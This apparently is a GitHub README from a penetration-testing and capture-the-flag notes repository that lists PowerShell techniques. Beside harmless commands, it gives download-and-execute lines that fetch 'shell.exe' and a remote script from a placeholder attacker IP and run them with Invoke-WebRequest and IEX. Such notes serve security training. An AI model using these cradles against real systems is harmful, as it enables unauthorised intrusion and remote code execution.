Skip to content

Latest commit

 

History

History
 
 

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 

PowerShell

This new section is for all Microsoft Powershell-based techniques and syntax used during penetration testing and capture the flag.

List CPU Architecture

PS > 
$ENV:PROCESSOR_ARCHITECTURE
AMD64

List ALL Files

PS> ls -Force

WGET Alternative

PS > Invoke-WebRequest -Uri "http://(ATTACKER IP ADDRESS)/shell.exe" -OutFile 'C:\path\to\writeable\dir\shell.exe'

Invoke Expression

The Invoke-Expression cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without Invoke-Expression, a string submitted at the command line would be returned (echoed) unchanged.

PS C:\Target-System> IEX(New-Object Net.WebClient).downloadString('http://(ATTACKER IP ADDRESS)/(PowerShell Script).ps1')

OR

PS C:\Target-System> Invoke-Expression(New-Object Net.WebClient).downloadString('http://(ATTACKER IP ADDRESS)/(PowerShell Script).ps1')